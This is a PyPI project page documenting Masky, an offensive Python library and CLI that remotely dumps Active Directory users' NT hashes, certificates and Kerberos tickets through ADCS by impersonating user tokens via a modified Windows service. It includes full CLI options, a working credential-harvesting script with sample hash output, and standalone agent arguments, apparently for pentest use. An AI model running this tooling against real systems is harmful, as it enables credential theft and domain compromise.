Skip to main content

Masky

PyPI version Twitter

Masky is a python library providing an alternative way to remotely dump domain users' credentials thanks to an ADCS. A command line tool has been built on top of this library in order to easily gather PFX, NT hashes and TGT on a larger scope.

This tool does not exploit any new vulnerability and does not work by dumping the LSASS process memory. Indeed, it only takes advantage of legitimate Windows and Active Directory features (token impersonation, certificate authentication via kerberos & NT hashes retrieval via PKINIT). A blog post was published to detail the implemented technics and how Masky works.

Masky source code is largely based on the amazing Certify and Certipy tools. I really thanks their authors for the researches regarding offensive exploitation technics against ADCS (see. Acknowledgments section).

Installation

Masky python3 library and its associated CLI can be simply installed via the public PyPi repository as following:

pip install masky

The Masky agent executable is already included within the PyPi package.

Moreover, if you need to modify the agent, the C# code can be recompiled via a Visual Studio project located in agent/Masky.sln. It would requires .NET Framework 4 to be built.

Usage

Masky has been designed as a Python library. Moreover, a command line interface was created on top of it to ease its usage during pentest or RedTeam activities.

For both usages, you need first to retrieve the FQDN of a CA server and its CA name deployed via an ADCS. This information can be easily retrieved via the certipy find option or via the Microsoft built-in certutil.exe tool. Make sure that the default User template is enabled on the targeted CA.

Warning: Masky deploys an executable on each target via a modification of the existing RasAuto service. Despite the automated roll-back of its intial ImagePath value, an unexpected error during Masky runtime could skip the cleanup phase. Therefore, do not forget to manually reset the original value in case of such unwanted stop.

Command line

The following demo shows a basic usage of Masky by targeting 4 remote systems. Its execution allows to collect NT hashes, CCACHE and PFX of 3 distincts domain users from the sec.lab testing domain.

Masky CLI demo

Masky also provides options that are commonly provided by such tools (thread number, authentication mode, targets loaded from files, etc. ).

  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

positional arguments:
  targets               Targets in CIDR, hostname and IP formats are accepted, from a file or not

options:
  -h, --help            show this help message and exit
  -v, --verbose         Enable debugging messages
  -ts, --timestamps     Display timestamps for each log
  -t THREADS, --threads THREADS
                        Threadpool size (max 15)

Authentication:
  -d DOMAIN, --domain DOMAIN
                        Domain name to authenticate to
  -u USER, --user USER  Username to authenticate with
  -p PASSWORD, --password PASSWORD
                        Password to authenticate with
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
  -H HASHES, --hashes HASHES
                        Hashes to authenticate with (LM:NT, :NT or :LM)

Connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Certificate Authority Name (SERVER\CA_NAME)

Results:
  -nh, --no-hash        Do not request NT hashes
  -nt, --no-ccache      Do not save ccache files
  -np, --no-pfx         Do not save pfx files
  -o OUTPUT, --output OUTPUT
                        Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)

Python library

Below is a simple script using the Masky library to collect secrets of running domain user sessions from a remote target.

from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define the authentication parameters
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Create a Masky instance with these credentials
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Set a target and run Masky against it
    target = "192.168.23.130"
    rslts = m.run(target)

    # Check if Masky succesfully hijacked at least a user session
    # or if an unexpected error occured
    if not rslts:
        return False

    # Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
    print(f"Results from hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

Its execution generate the following output.

$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

A MaskyResults object containing a list of User objects is returned after a successful execution of Masky.

Please look at the masky\lib\results.py module to check the methods and attributes provided by these two classes.

Standalone Masky agent

From the Masky version 0.0.5, the standalone executable agent can now easily be ran without the Python CLI.

Here are the arguments:

$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

The /ca parameter is mandatory as for the Python CLI. Moreover, the /currentUser argument has been added to avoir running token impersonation. Indeed, a simple certificate request will be performed in the current user context, based on the provided template (template). The /output and /debug parameters allow to specify the path where will be created the files.

The default values are the following:

  • currentUser: false (aka. impersonation is enabled);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Masky standalone agent demo

Acknowledgments

Metadata

Release files for masky 0.2.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for masky 0.2.1
File Size Uploaded Provenance Actions
masky-0.2.1.tar.gz 283.7 kB Without provenance Details for masky-0.2.1.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for masky 0.2.1
File Interpreter ABI Platform Actions
masky-0.2.1-py3-none-any.whl Python 3 none any Details for masky-0.2.1-py3-none-any.whl

Total release size: 568.9 kB

Release files / masky-0.2.1.tar.gz

Download URL masky-0.2.1.tar.gz
Size 283.7 kB
Tags Source
SHA-256 checksum
How to use checksums
973615bebbd9455a1c2a81a6cec626a2032ec2209f242e3e69a6226e4b60b6fc
BLAKE2b-256 checksum
How to use checksums
c4c4e6605efb0884659c5c503265b66c72cebf6ae6535140250710927dda9181
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.11.2

Release files / masky-0.2.1-py3-none-any.whl

Download URL masky-0.2.1-py3-none-any.whl
Size 285.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b
BLAKE2b-256 checksum
How to use checksums
9be14986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.11.2

Security for masky 0.2.1

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page